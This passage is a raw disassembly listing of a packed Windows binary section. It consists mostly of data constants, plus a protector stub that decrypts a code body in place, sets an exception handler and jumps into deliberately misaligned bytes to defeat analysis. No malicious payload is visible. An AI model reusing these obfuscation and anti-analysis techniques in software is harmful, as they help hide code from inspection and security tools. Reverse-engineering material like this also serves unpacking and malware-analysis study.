0BFEB80FAh, 0E8DDBB66h, 128419FEh, 41B730A2h, 28776514h dd 0BF998000h, 1FFE0D33h, 56F7D7B1h, 92CE03DAh, 0B980758Ch dd 0A924E310h, 0AE40E81Ah, 0B34CFh, 0DCA77748h, 9AC8F14Dh dd 0EAA8DE19h, 28223DB1h, 0A2B3037Eh, 0FA5A0F21h, 6FD92EB0h dd 71FCB402h, 0F18AF082h, 7CD40064h, 33BE7246h, 605AE500h dd 0C35BE387h, 0B428F3F8h, 0D7AE9880h, 7701A03Bh, 0C5B2A6A2h dd 0ADC0C430h, 1CC5261h, 60FBFFFFh, 0 db 0 ; --------------------------------------------------------------------------- loc_56B5ED: ; CODE XREF: .XComp0:loc_4EE265j ; DATA XREF: .XComp0:loc_4EE086o jmp loc_56EB5A ; --------------------------------------------------------------------------- align 4 dd 4 dup(0) dd 0EB940000h, 0F7F27C90h, 0FFFFh, 6 dup(0) dd 62450000h, 0E8D80060h, 5Ch, 3C4D0000h, 194h, 0Fh dup(0) dd 0D220000h, 2, 0 dd 0B5080000h, 0B2h, 8 dup(0) dd 4EB0000h, 0 dd 0A8AD0000h, 56437E41h, 0Ah dup(0) dd 180F0000h, 0B2h, 3 dup(0) dd 0B3330000h, 80D9h, 2 dup(0) dd 0B2h, 3 dup(0) dd 80A30000h, 0CDA6h, 1BA90000h, 5Bh, 0 dd 4850000h, 0FFA6h, 0Ah dup(0) dd 11DA0000h, 7C81h, 0 dd 0F6DE0000h, 2, 92h dup(0) dd 230000h, 900056h, 0 dd 0FFA40000h, 12h, 0Bh dup(0) dd 8300000h, 1B3C4E3Dh, 5Dh, 0 dd 0C1470000h, 129h, 4 dup(0) dd 230000h, 56h, 2 dup(0) dd 29180000h, 0B2h, 26Ch, 5 dup(0) dd 0EB940000h, 12h, 2 dup(0) dd 17D30000h, 0FFA1h, 3 dup(0) dd 9F700000h, 5Ah, 7 dup(0) dd 0EB940000h, 7C90h, 0 dd 39650000h, 0B22E697Ch, 5Ah, 2 dup(0) dd 0C9F40000h, 6FA0005Ah, 1A340000h, 29Dh, 0F7F20000h dd 0FFFFh, 5 dup(0) dd 403B0000h, 454E4B47h, 192000B2h, 0B2h, 2 dup(0) dd 0EE180000h, 7C90h, 0Fh dup(0) dd 0FFFF0000h, 0FFFFh, 2 dup(0) dd 2FA60000h, 7CEDh, 2 dup(0) dd 5FBB0000h, 22220000h, 22222222h, 2222h, 3 dup(0) dd 0B0000000h, 0Eh, 4 dup(0) dd 2F0000h, 460000h, 0B1h, 6 dup(0) dd 8D8D0000h, 1F5Fh, 0 dd 9F3E0000h, 0FF9Fh, 6DF0000h, 7A84h, 97A0000h, 2 dup(0) dd 0ED40000h, 0Bh dup(0) dd 10A30000h, 5A2h, 4 dup(0) dd 42020000h, 5801h, 0EB940000h, 7C90h, 4 dup(0) dd 691A0000h, 894020B6h, 5Ch, 0 dd 0ED00000h, 6BF000B2h, 77DDh, 0 dd 0EB940000h, 56h, 3 dup(0) dd 0EB940000h, 7C90h, 9 dup(0) dd 0A40A0000h, 0FFFF005Dh, 0FFE0FFFFh, 12h, 55DE0000h dd 0FC2Eh, 2 dup(0) dd 0EE180000h, 7C90h, 3 dup(0) dd 0FBA40000h, 0CA7AF386h, 56h, 5 dup(0) dd 3E0000h, 7D17C80h, 1010000h, 10000000h, 40h, 3 dup(0) dd 0FA370000h, 0B2h, 0 dd 0F8A00000h, 56h, 0 dd 3C520000h, 7FFFFFA9h, 0B00000h, 0 dd 180F0000h, 0A5FB00B2h, 5Ch, 0 dd 0CDDA0000h, 40C27C81h, 781Dh, 2 dup(0) dd 6EF00000h, 25Bh, 2 dup(0) dd 0EB940000h, 7C90h, 2 dup(0) dd 19F00000h, 0B2h, 0 dd 0ABD60000h, 5Ch, 0Bh dup(0) dd 5FD0000h, 9F82FF4Dh, 5Ah, 2 dup(0) dd 3CA20000h, 3111h, 0C2h, 2 dup(0) dd 0EB940000h, 3F0F7C90h, 0D8F000B8h, 89400000h, 2614005Ch dd 5Bh, 0EB940000h, 7C90h, 3 dup(0) dd 0DD89h, 0 dd 0A6B70000h, 5Bh, 0 dd 24930000h, 0C19400B3h, 0A1E3h, 9 dup(0) dd 0FFFF0000h, 0FFFFh, 230000h, 5Bh, 4 dup(0) dd 2130000h, 0B8h, 0 dd 7F5D0000h, 3259h, 0 dd 0C3AE0000h, 56h, 2 dup(0) dd 3210000h, 7C97h, 4 dup(0) dd 0B2h, 0 dd 0BE1F0000h, 0FFFFh, 5 dup(0) dd 26Bh, 0 dd 0E5180000h, 3 dup(0) dd 19200000h, 0B2h, 3 dup(0) dd 0F9FC0000h, 0AAh, 0 dd 19610000h, 5Ah, 0DF980000h, 6653h, 4 dup(0) dd 0D8F00000h, 0 dd 36360000h, 3636h, 56430000h, 10h dup(0) db 90h db 7Ch, 5Fh, 77h dd 5E3Ch, 5 dup(0) dd 0DE1D0000h, 0 dd 0C1470000h, 129h, 7 dup(0) dd 0C87A0000h, 3111h, 0Dh dup(0) dd 0D17C0000h, 71B9h, 0 dd 0CA960000h, 0 dd 1B3C0000h, 5Dh, 0A7h, 0 dd 40h, 4 dup(0) dd 4C970000h, 0FFDFh, 18h dup(0) dd 0F7F20000h, 0DF122BC9h, 5Eh, 3 dup(0) dd 10000h, 8D8D0000h, 607DA37Fh, 3AB6h, 0D0E90000h, 7E9D005Bh dd 14FDh, 0 dd 61DC0000h, 5Ch, 6 dup(0) dd 0FFFB0000h, 0FFFFh, 0 dd 32760000h, 5Ah, 2 dup(0) dd 76550000h, 0DFFFh, 520C0000h, 1005Bh, 2 dup(0) dd 9DA40000h, 0FFFFh, 47220000h, 0FF547C80h, 0CE8E0012h dd 0A7BAh, 28h dup(0) dd 58460000h, 1005Bh, 3 dup(0) dd 26400000h, 7C80h, 7DC80000h, 0CEEEh, 4 dup(0) dd 0C2D20000h, 115B7F01h, 5Bh, 0FE000000h, 0FFFFh, 6 dup(0) dd 0E80000h, 2 dup(0) dd 4C140000h, 0B6h, 0Dh dup(0) dd 8F690000h, 9D59005Ah, 5FD50BBh, 2FF4Dh, 5Eh, 5 dup(0) dd 637B0000h, 60h, 5 dup(0) dd 0FFF40000h, 0A770233h, 9F707C81h, 5Ah, 3 dup(0) dd 7E000000h, 9AC30005h, 2 dup(0) dd 0D5EE0000h, 0FED07CEBh, 12h, 0A6780000h, 0FFFFh, 7 dup(0) dd 0F00000h, 0 dd 0B7650000h, 5Eh, 3 dup(0) dd 8840000h, 2 dup(0) dd 55DE0000h, 0FC2Eh, 6BE90000h, 0FF4Dh, 5 dup(0) dd 0C2030000h, 0B3h, 5 dup(0) dd 7DC80000h, 7F8CEEEh, 0 dd offset dword_4FFC54+3ACh dd 0A8ADFE5Ch, 0E5AE7E41h, 4B9h, 0 dd 22570000h, 0FF4Dh, 9E280000h, 0FFFFh, 0A6340000h, 5Ch dd 2 dup(0) dd 33330C0Eh, 2 dup(33333333h), 3333h, 2 dup(0) dd 0D4F60000h, 885D0056h, 8 dup(0) dd 3A430000h, 4E49575Ch, 53574F44h, 7379735Ch, 336D6574h dd 44415C32h, 49504156h, 642E3233h, 6C6Ch, 43h dup(0) dd 0EE90000h, 230002h, 0FEC80056h, 12h, 3 dup(0) dd 0D32C0000h, 0FA37A769h, 0B2h, 3 dup(0) dd 91910000h, 19DBh, 5 dup(0) dd 0CE910000h, 3CE2h, 0 dd 77DDh, 3 dup(0) dd 0A00000h, 2 dup(0) dd 29180000h, 0B2h, 0B8B50000h, 3 dup(0) dd 26EE0000h, 24AFh, 6 dup(0) dd 6D700000h, 4370h, 0A01A0000h, 6F887EA5h, 5Eh, 9D5E0000h dd 31005Ah, 3 dup(0) dd 6A180000h, 0FFA4h, 0Bh dup(0) dd 1340000h, 0FFEDh, 3 dup(0) dd 9F700000h, 0C4005Ah, 6 dup(0) dd 21210000h, 454E2121h, 0B2h, 180F0000h, 90F700B2h, 9343h dd 4FA90000h, 180F0060h, 0B2h, 0 dd 9BB70000h, 566Fh, 0DC400000h, 836Eh, 0 dd 0FFCB0000h, 72FAh, 8E510000h, 0B2h, 0Bh dup(0) dd 1A400000h, 0B2h, 0 dd 8D200000h, 0B2h, 6 dup(0) dd 0D86B0000h, 3F640056h, 0B7h, 6E000000h, 7F01h, 14h dup(0) dd 0EB940000h, 7C90h, 2 dup(0) dd 2FF50000h, 5Ah, 8 dup(0) dd 0C3AE0000h, 56h, 0 dd 0B22E0000h, 0F75Bh, 3 dup(0) dd 85A80000h, 1, 0 dd 0BDF50000h, 1F5FFh, 0 dd 0E40000h, 7EA5h, 2 dup(0) dd 0C3AE0000h, 56h, 20000000h, 0E80000h, 2 dup(0) dd 0C1470000h, 0EB940129h, 7C90h, 0ED00000h, 0B2h, 6 dup(0) dd 6150000h, 0AEE60F89h, 1DB2h, 4 dup(0) dd 0A01A0000h, 5Bh, 3 dup(0) dd 2FDB0000h, 0D8F0005Ah, 2 dup(0) dd 99440000h, 0FFFFh, 0 dd 180E0000h, 7C80h, 0FF540000h, 0F4C30012h, 0EB940056h dd 180F7C90h, 0B2h, 4 dup(0) dd 3D0000h, 0 dd 0E3F00000h, 0F420h, 3 dup(0) dd 35A50000h, 0Bh dup(0) dd 0C1470000h, 129h, 0 dd 97150000h, 60h, 9 dup(0) dd 0FF540000h, 12h, 5 dup(0) dd 4E5B0000h, 19F076B4h, 1A4400B2h, 0B2h, 3 dup(0) dd 0BC0000h, 0F3E40000h, 0DD88h, 0 dd 24240000h, 2424h, 3 dup(0) dd 0FFF00000h, 12h, 0C00000h, 3 dup(0) dd 0FFB00000h, 0E9220253h, 9B470056h, 0FFA47C80h, 12h dd 4 dup(0) dd 230000h, 0Bh dup(0) dd 3E0000h, 96CD00B2h, 89F7h, 3 dup(0) dd 3B50000h, 4 dup(0) dd 0EB940000h, 7C90h, 6 dup(0) dd 75E90000h, 2D0F3h, 0 dd 0F3E40000h, 0DD88h, 3 dup(0) dd 0C1470000h, 129h, 3 dup(0) dd 3F580000h, 67687C86h, 5Bh, 2 dup(0) dd 40h, 0D2870056h, 0A8h, 6 dup(0) dd 2A090000h, 9F707C81h, 0FF21005Ah, 0FFFFh, 0 dd 0ADA00000h, 0F90C7C80h, 99400270h, 6552FFFFh, 72617473h dd 70704174h, 6578652Eh, 0F5EA0000h, 180h, 28780000h, 0EB9400B5h dd 7C90h, 0 dd 10840000h, 0CCE4005Ch, 5Eh, 7F5D0000h, 3259h, 0Dh dup(0) dd 42020000h, 0A6445801h, 16C5h, 67140000h, 5Bh, 0 dd 0A40000h, 0BAA10000h, 0D3E37C80h, 5Bh, 6 dup(0) dd 9B470000h, 7C80h, 180F0000h, 0B2h, 3 dup(0) dd 0EB940000h, 7C90h, 11h dup(0) dd 757A0000h, 836Fh, 403B0000h, 4B47h, 2 dup(0) dd 0C9CE0000h, 0F0578C1Eh, 0ACE20056h, 0DE67C36h, 0 dd 9F700000h, 5Ah, 0Ah dup(0) dd 0A01A0000h, 7EA5h, 11h dup(0) dd 30DF0000h, 0EE9A9C5h, 0B40002h, 2 dup(0) dd 3FFC0000h, 0 dd 0FEF00000h, 12h, 10C00000h, 5Ch, 0 dd 40000h, 0 dd 230000h, 56h, 2 dup(0) dd 38DF0000h, 0CDDAA9F7h, 47E07C81h, 0A527h, 0 dd 3EC20000h, 0C12800B2h, 129h, 9B470000h, 7C80h, 0E80000h dd 0B2h, 0EB940000h, 7C90h, 94170000h, 0B2h, 2 dup(0) dd 230000h, 5Bh, 5FD0000h, 0B8FF4Dh, 3 dup(0) align 10h dd 1FFA4h, 2 dup(0) dd 0EB940000h, 7C90h, 9C0000h, 6 dup(0) dd 0CC670000h, 92B7h, 3 dup(0) dd 0EB940000h, 56h, 2 dup(0) dd 22570000h, 0FF4Dh, 9 dup(0) dd 0A5080000h, 5Dh, 2 dup(0) dd 0BEDF0000h, 0C9887A15h, 0FFA3h, 0 dd 10000h, 58300000h, 0B22E005Eh, 5Ah, 6 dup(0) dd 42020000h, 5801h, 7 dup(0) dd 0EB940000h, 7C90h, 411C0000h, 6F37h, 0Ah dup(0) dd 0AAA10000h, 0C0000B2h, 4758h, 0EB940000h, 7C90h, 0B7650000h dd 4005Eh, 0 dd 0A4840000h, 227Ch, 0 dd 0FA040000h, 0E82D81BAh, 5Eh, 0 dd 2CB00000h, 0FFC47C80h, 12h, 0A59E0000h, 5Ch, 2 dup(0) dd 11110000h, 1111h, 3 dup(0) dd 10000h, 2CE10000h, 4085h, 0 dd 0FFFF0000h, 0FFFFh, 2 dup(0) dd 8D8D0000h, 42Ch, 0 dd 56610000h, 6BE2h, 0D0320000h, 0FD77h, 0Ah dup(0) dd 3B800000h, 197C80h, 0 dd 9C0000h, 0 dd 230000h, 0 dd 0D7FF0000h, 14D6h, 0EB950000h, 7C93h, 8 dup(0) dd 26Ch, 5 dup(0) dd 4D350000h, 84F8h, 8 dup(0) dd 68540000h, 64696D65h, 61h, 1Dh dup(0) dd 43EC0000h, 8547C80h, 1, 9F50000h, 5Bh, 0C1470000h, 16470129h dd 3 dup(0) dd 8B320000h, 420200B5h, 5801h, 0F7F20000h, 0FFFFh, 3 dup(0) dd 37EC0000h, 0B2h, 10000h, 5 dup(0) dd 18420000h, 0B2h, 0 align 8 dd 5Fh, 7EA5h, 0 dd 0FFFF0000h, 0FFFFh, 0EB940000h, 7C90h, 0B4CF0000h, 65017C80h dd 0 dd 0CF0F0000h, 9AADh, 0B4h dup(0) dd 0CF5B0000h, 0EB947C81h, 7C90h, 68870000h, 9000005Eh dd 3, 0DFD00000h, 5974F696h, 8655h, 0 dd 0D59C0000h, 0C52CF3B1h, 0FF97F45Fh, 0FEF9h, 2 dup(0) dd 762B0000h, 2DAAh, 0 dd 0EB940000h, 0FF887C90h, 0FFFFh, 5 dup(0) dd 46DB0000h, 5Ch, 84F00000h, 365Fh, 83790000h, 573Dh dd 2 dup(0) dd 7F5D0000h, 27E63259h, 7C3Ah, 7 dup(0) dd 0CF7C0000h, 7C81h, 2 dup(0) dd 10740000h, 9 dup(0) dd 9E5A0000h, 0FE54h, 3 dup(0) dd 0EE180000h, 7C90h, 4 dup(0) dd 0FF8C0000h, 80000012h, 21h, 0 dd 4A880000h, 14h, 0EB940000h, 7C90h, 94360000h, 0B4BBh dd 0FF7F0000h, 0F5E4h, 6 dup(0) dd 21180000h, 7AFEh, 0AC0000h, 0FFEDh, 2 dup(0) dd 1050000h, 0A28h, 2 dup(0) dd 193E0000h, 20000h, 0FBFE0000h, 7FDCh, 3 dup(0) dd 980000h, 9 dup(0) dd 15AD0000h, 0BDh, 2 dup(0) dd 0E80000h, 51E900B2h, 1, 833F0000h, 38Ch, 5 dup(0) dd 3D940000h, 0 dd 0FBB50000h, 7FBBh, 4 dup(0) dd 322D0000h, 9EBA005Eh, 5Ah, 91370000h, 7452h, 0 dd 1CA00000h, 26380000h, 0 dd 30EE0000h, 5Eh, 440E0000h, 2C03h, 2 dup(0) dd 0FF600000h, 12h, 6 dup(0) dd 31E50000h, 0B8h, 0E5860000h, 0E1Dh, 0 dd 0FFE00000h, 12h, 0 dd 0B4840000h, 0F5E4h, 0Ah dup(0) dd 0EB940000h, 7C90h, 94170000h, 66F400B2h, 5Eh, 4 dup(0) dd 9E600000h, 7C80h, 3 dup(0) dd 0FA030000h, 0B2h, 7E41h, 2 dup(0) dd 6DD40000h, 25Bh, 1Bh dup(0) dd 1F260000h, 87A4h, 5 dup(0) dd 1780000h, 6C410040h, 5Bh, 0 dd 7350000h, 0EB940764h, 7C90h, 5 dup(0) dd 0FEC80000h, 9B470012h, 0B6207C80h, 61E5h, 7 dup(0) dd 0C0000h, 254h, 4 dup(0) dd 6E0F0000h, 7 dup(0) dd 0E80000h, 5 dup(0) dd 6F880000h, 4AF2005Eh, 7C81h, 3 dup(0) dd 28D80000h, 6DEh, 65h dup(0) dd 0AC0000h, 0Ah dup(0) dd 0EB940000h, 7C90h, 2 dup(0) dd 2ECA0000h, 2BC81E1Dh, 5Bh, 2 dup(0) dd 26Eh, 2 dup(0) dd 21330000h, 0DB06005Dh, 9F50056h, 5Bh, 7 dup(0) dd 2FF50000h, 5Ah, 5 dup(0) dd 0D8F00000h, 0Bh dup(0) dd 0D8F00000h, 0ABDE0000h, 7C80h, 5 dup(0) dd 7FFC0000h, 25Fh, 0FEC80000h, 12h, 3 dup(0) dd 0F5BD0000h, 74A7h, 0 dd 26Dh, 3 dup(0) dd 0EB940000h, 7C90h, 0EB940000h, 7C90h, 4 dup(0) dd 2DE40000h, 4202B644h, 5801h, 0 dd 0EB450000h, 0A8CF0000h, 0DE600B2h, 2 dup(0) dd 0D86A0000h, 56h, 5 dup(0) dd 70410000h, 0A750h, 4 dup(0) dd 0BD020000h, 1B1D5801h, 0DCA2h, 0 dd 61h, 43E00000h, 0E24FFA5h, 0B2h, 4 dup(0) dd 1CF00000h, 2 dup(0) dd 254h, 4 dup(0) dd 0EB940000h, 7C90h, 54130000h, 0CC10h, 4 dup(0) dd 0A3480000h, 0FFFFh, 14h dup(0) dd 154D0000h, 78A6h, 0 dd 60D30000h, 105Bh, 0 dd 0EB940000h, 0B57B7C90h, 5Ch, 2 dup(0) dd 397B0000h, 5B80h, 2 dup(0) dd 0BC200000h, 5Ah, 0 dd 11E80000h, 5B4C836Fh, 5 dup(0) dd 8D8D0000h, 0AC58h, 8 dup(0) dd 0CFCE0000h, 82C1h, 2 dup(0) dd 1A3C0000h, 0B2h, 0 dd 7C80h, 2 dup(0) dd 8B0D0000h, 0B5h, 0 dd 4DD20000h, 0FFA5h, 5 dup(0) dd 8EE40000h, 0B2h, 0 dd 0CC0000h, 3 dup(0) dd 0A250000h, 146C00B2h, 836Fh, 0Ah dup(0) dd 0EB940000h, 7C90h, 4 dup(0) dd 0EBE70000h, 77DDh, 0 dd 0FA030000h, 0B2h, 7AFD0000h, 5Ah, 3 dup(0) dd 9AAC0000h, 0C5D27AAAh, 0ECF50056h, 0C99D005Eh, 1C0Eh dd 0 dd 1629029Dh, 5330h, 0 dd 0EB940000h, 7C90h, 0 dd 0D0FF0000h, 5515h, 0 dd 2EAC0000h, 5Ch, 3F7B0000h, 0FFFFh, 0D8F00000h, 7 dup(0) dd 4FA90000h, 60h, 5 dup(0) dd 5B7C0000h, 0DD83h, 3 dup(0) dd 29180000h, 0B2h, 9DA00000h, 0FFFFh, 0 dd 8D8D0000h, 12E15h, 8A210000h, 0FFEDh, 4 dup(0) dd 87EE0000h, 5Eh, 0 dd 0F7F20000h, 0FFFFh, 7 dup(0) dd 0C1C0000h, 2277h, 0Ah dup(0) dd 0B5F20000h, 5Bh, 0 dd 37860000h, 0CEEEh, 324E0000h, 5Ah, 6 dup(0) dd 0E9220000h, 205C0056h, 0C41B1551h, 77DFh, 5FE60000h dd 0EB94815Ah, 7C90h, 4 dup(0) dd 0D8600000h, 54DFh, 2 dup(0) dd 0E0140000h, 0Eh, 7 dup(0) dd 4C2A0000h, 2, 0Ch dup(0) dd 0CF810000h, 7C81h, 6F880000h, 5Eh, 3 dup(0) dd 35240000h, 180E005Dh, 7C80h, 0EB940000h, 0D07C90h, 10000h dd 10h dup(0) dd 0EB940000h, 0C9907C90h, 5Ch, 3 dup(0) dd 0C80000h, 10h dup(0) dd 707E0000h, 0EB941FCCh, 7C90h, 2 dup(0) dd 0A2140000h, 0DDF9FFFFh, 7C90h, 0C58E0000h, 56h, 2 dup(0) dd 30DF0000h, 26440000h, 7C80h, 0 dd 78830000h, 180F77DDh, 0B2h, 0 dd 380000h, 5Ch, 0C1470000h, 1C280129h, 1BECh, 0 dd 0FCAD0000h, 0B4h, 48D0000h, 9F70005Ah, 4975005Ah, 71D5h dd 5 dup(0) dd 38B50000h, 0FEEFh, 4 dup(0) dd 3FFC0000h, 0B8177FDDh, 7E68FFFEh, 5, 0 dd 0EF5D0000h, 0FA5Dh, 3 dup(0) dd 266E0000h, 63h, 0DC0000h, 5 dup(0) dd 0E7E0000h, 200000h, 0 dd 0B8A40000h, 3 dup(0) dd 0FE80000h, 9 dup(0) dd 40h, 28h dup(0) dd 0EB940000h, 7C90h, 0 dd 40h, 2 dup(0) dd 10000h, 5 dup(0) dd 0AEA10000h, 0EB9400B2h, 87787C90h, 5Ch, 31h dup(0) dd 10000h, 0 dd 0FF690000h, 5Eh, 4 dup(0) dd 1D770000h, 7C80h, 0 dd 42020000h, 5801h, 0 dd 7F800000h, 0FFA7h, 5 dup(0) dd 29180000h, 220D00B2h, 60h, 529E0000h, 0E438h, 0 dd 1A240000h, 7C80h, 35180000h, 42027C80h, 0D3DD5801h dd 5Ah, 2 dup(0) dd 0E8D80000h, 5Ch, 0Bh dup(0) dd 0A6780000h, 0FFFFh, 6 dup(0) dd 1CF70000h, 0B5h, 0 dd 0EE180000h, 7C90h, 0E82D0000h, 0F75Bh, 0 dd 0EE180000h, 7C90h, 2 dup(0) dd 88A10000h, 6DF4A1C3h, 25Bh, 8 dup(0) dd 443E0000h, 0FFA3h, 2 dup(0) dd 210000h, 0Ch dup(0) dd 3A430000h, 755F6D5Ch, 6361706Eh, 72656Bh, 82h dup(0) dd 7DC80000h, 0CEEEh, 40h, 9 dup(0) dd 1380000h, 0FFEDh, 4 dup(0) dd 0D8F00000h, 8F690000h, 5Ah, 5 dup(0) dd 8E510000h, 0B2h, 8D8D0000h, 0D201h, 0 dd 180F0000h, 0B2h, 3 dup(0) dd 0A0140000h, 0EB940000h, 7C90h, 4 dup(0) dd 92000000h, 80FEh, 0C6B20000h, 2B33h, 1Fh dup(0) dd 3FFC0000h, 6 dup(0) dd 0B2h, 4 dup(0) dd 3700000h, 0 dd 329E0000h, 5Ah, 0EE90000h, 2, 0C1470000h, 129h, 8B280000h dd 0B2h, 4 dup(0) dd 7BEB0000h, 5Bh, 10000h, 0 dd 4BF10000h, 60h, 9BE10000h, 0DD02h, 0 dd 0A80000h, 5 dup(0) dd 1A400000h, 0B2h, 7 dup(0) dd 9EF40000h, 3F64FFFFh, 0B7h, 9F700000h, 0B8005Ah, 0B000000h dd 0C20374C0h, 448B0018h, 0E8530C24h, 0 ; --------------------------------------------------------------------------- pop ebx add ebx, 17h mov [esp+10h], ebx mov [esp+14h], eax pop ebx mov eax, 0B2FA37h jmp eax ; --------------------------------------------------------------------------- mov eax, [esp+4] jmp eax ; --------------------------------------------------------------------------- align 4 dd 16h dup(0) dd 94F00000h, 0C4A6FFFFh, 9E24CC54h, 0FFA3h, 8 dup(0) dd 0D0820000h, 56h, 5 dup(0) dd 180F0000h, 0B2h, 6 dup(0) dd 0A9FA0000h, 250h, 5 dup(0) dd 30DF0000h, 0A9C5h, 4 dup(0) dd 940000h, 0EB940000h, 6EEA7C90h, 1, 3B180000h, 0FFFEh dd 3 dup(0) dd 91780000h, 0A01A00B7h, 7EA5h, 3 dup(0) dd 0FD290000h, 3246h, 2 dup(0) dd 6F880000h, 5Eh, 0 dd 120000h, 3 dup(0) dd 0F7F20000h, 0FFFFh, 1Ah dup(0) dd 8F690000h, 5Ah, 0BFAE0000h, 5Ch, 7 dup(0) dd 1E690000h db 0B8h, 0 ; --------------------------------------------------------------------------- loc_56EB5A: ; CODE XREF: .XComp0:loc_56B5EDj mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 5F93577h mov [ebp+5F918E9h], edx mov [ebp+5F92BA5h], esi mov [ebp+5F913D1h], eax cmp dword ptr [ebp+5F921A5h], 0 jz short loc_56EB92 mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_56EB92: ; CODE XREF: .XComp0:0056EB84j mov eax, [esp+24h] mov [ebp+5F90875h], eax push 45h call sub_56EC46 push 783749Ah call sub_56EC8C push 0A894B25h call sub_56EC8C jmp loc_56EDD0 ; --------------------------------------------------------------------------- dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h dd 5C5B5A59h, 605F5E5Dh, 64636261h, 68676665h, 6C6B6A69h dd 706F6E6Dh, 74737271h, 78777675h, 7C7B7A79h, 807F7E7Dh dd 84838281h, 88878685h, 8C8B8A89h, 908F8E8Dh, 94939291h dd 98979695h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h, 0A8A7A6A5h dd 0ACABAAA9h, 0B0AFAEADh, 0B4B3B2B1h, 0B8B7B6B5h, 0BCBBBAB9h dd 0C0BFBEBDh, 0C3C2C1h, 2 dup(0) db 2 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_56EC46 proc near ; CODE XREF: .XComp0:0056EB9Ep var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 5F93665h mov ebx, edx mov [ebp+var_28], 0 loc_56EC62: ; CODE XREF: sub_56EC46+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_56EC81 mov eax, [ebp+arg_0] mov [ebx+5F935CFh], eax inc [ebp+arg_0] inc ebx jmp short loc_56EC62 ; --------------------------------------------------------------------------- loc_56EC81: ; CODE XREF: sub_56EC46+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_56EC46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_56EC8C proc near ; CODE XREF: .XComp0:0056EBA8p ; .XComp0:0056EBB2p var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 5F936AEh lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_56ECB2: ; CODE XREF: sub_56EC8C+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_56ECB2 mov [ebp+var_84], 0 lea edi, [edx+5F935CFh] lea esi, [ebp+var_80] loc_56ECE2: ; CODE XREF: sub_56EC8C+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_56ECEE: ; CODE XREF: sub_56EC8C+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_56ECEE imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_56ECE2 popa leave retn 4 sub_56EC8C endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_56ED2C ; --------------------------------------------------------------------------- loc_56ED28: ; CODE XREF: .XComp0:0056ED2Fj inc dword ptr [ebp-4] inc esi loc_56ED2C: ; CODE XREF: .XComp0:0056ED26j cmp byte ptr [esi], 0 jnz short loc_56ED28 mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_56EDBD ; --------------------------------------------------------------------------- loc_56ED3E: ; CODE XREF: .XComp0:0056EDC0j mov dword ptr [ebp-8], 0 jmp short loc_56EDB4 ; --------------------------------------------------------------------------- loc_56ED47: ; CODE XREF: .XComp0:0056EDB8j mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_56EDA1 ; --------------------------------------------------------------------------- loc_56ED57: ; CODE XREF: .XComp0:0056EDA5j shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_56ED79 cmp bl, 39h ja short loc_56ED79 sub bl, 30h jmp short loc_56ED9B ; --------------------------------------------------------------------------- loc_56ED79: ; CODE XREF: .XComp0:0056ED6Dj ; .XComp0:0056ED72j cmp bl, 61h jb short loc_56ED8B cmp bl, 66h ja short loc_56ED8B sub bl, 61h add bl, 0Ah jmp short loc_56ED9B ; --------------------------------------------------------------------------- loc_56ED8B: ; CODE XREF: .XComp0:0056ED7Cj ; .XComp0:0056ED81j cmp bl, 41h jb short loc_56ED9B cmp bl, 46h ja short loc_56ED9B sub bl, 41h add bl, 0Ah loc_56ED9B: ; CODE XREF: .XComp0:0056ED77j ; .XComp0:0056ED89j ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_56EDA1: ; CODE XREF: .XComp0:0056ED55j cmp dword ptr [ebp-0Ch], 2 jb short loc_56ED57 cmp dword ptr [ebp-10h], 0 jbe short loc_56EDB1 mov eax, [ebp-10h] stosb loc_56EDB1: ; CODE XREF: .XComp0:0056EDABj inc dword ptr [ebp-8] loc_56EDB4: ; CODE XREF: .XComp0:0056ED45j cmp dword ptr [ebp-8], 2 jb short loc_56ED47 add edx, 4 loc_56EDBD: ; CODE XREF: .XComp0:0056ED3Cj cmp edx, [ebp-4] jb loc_56ED3E mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- loc_56EDD0: ; CODE XREF: .XComp0:0056EBB7j mov ecx, 7000h lea edi, [ebp+5F937F4h] ; CODE XREF: .XComp0:0056EE14j loc_56EDDB: ; CODE XREF: .XComp0:0056EDDFj dec byte ptr [edi] inc edi dec ecx jnz short loc_56EDDB mov eax, 48692121h mov edx, 0F00EE000h sub edx, 0F0000000h lea eax, [ebp+5F938FCh] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax mov bl, 0A1h call sub_56EE27 daa jp short near ptr loc_56EDD5+1 test byte ptr [ebx+188A0DD5h], 57h dec ebx cld inc esi retf ; --------------------------------------------------------------------------- db 62h, 0A5h, 0ACh db 0FBh, 57h, 0D4h ; =============== S U B R O U T I N E ======================================= sub_56EE27 proc near ; CODE XREF: .XComp0:0056EE0Ep add bl, 0ACh pop ebx sub eax, edx call sub_56EE43 and 